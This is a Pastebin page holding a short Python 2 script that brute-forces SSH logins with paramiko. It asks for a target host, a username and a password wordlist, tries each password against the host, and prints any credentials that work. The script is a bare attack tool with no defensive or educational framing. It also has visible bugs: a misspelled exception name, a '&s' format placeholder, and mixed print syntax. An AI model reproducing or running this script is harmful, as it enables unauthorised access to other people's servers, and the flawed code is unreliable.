Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- global host, username, line, input_file
- line = "\-------------------------\n"
- try:
- host = input("[*] Target Host Address entered here: ")
- username = input("[*] SSH username entered here : ")
- input_file = input("[*] SSH password entered here: ")
- if os.path.exists(input_file) == False:
- print "\n[*] Error! this file path does not exist/not currently available!!"
- sys.exit(4)
- except KeyboardInterupt:
- print " \N\N [*] Interupt requested By User!!!"
- sys.exit(3)
- def ssh_connect(password, code = 0) :
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- try:
- ssh.connect(host, port=22, username=username, password=password)
- except paramiko.AuthenticationException:
- #[*] Authentication failed......
- code = 1
- except socket.error, e:
- #[*] coonection Failed......Host Down"
- code = 2
- ssh.close()
- return code
- input_file = open(input_file)
- print ""
- for i in input_file.readlines():
- password = i.strip("\n")
- try:
- response = ssh_connect(password)
- if response == 0:
- print("%s[*] User: %s [*] Pass found: %s%s" % (line, username, password, line))
- sys.exit(0)
- elif response == 1:
- print("[*] User: &s [*] Pass: %s => Login Incorrect !!!!! <=" % (username, password))
- elif response == 2:
- print("[*] Connection Was Not Established To The Address: %s" % (host))
- sys.exit(2)
- except Exception, e:
- print e
- pass
- input_file.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement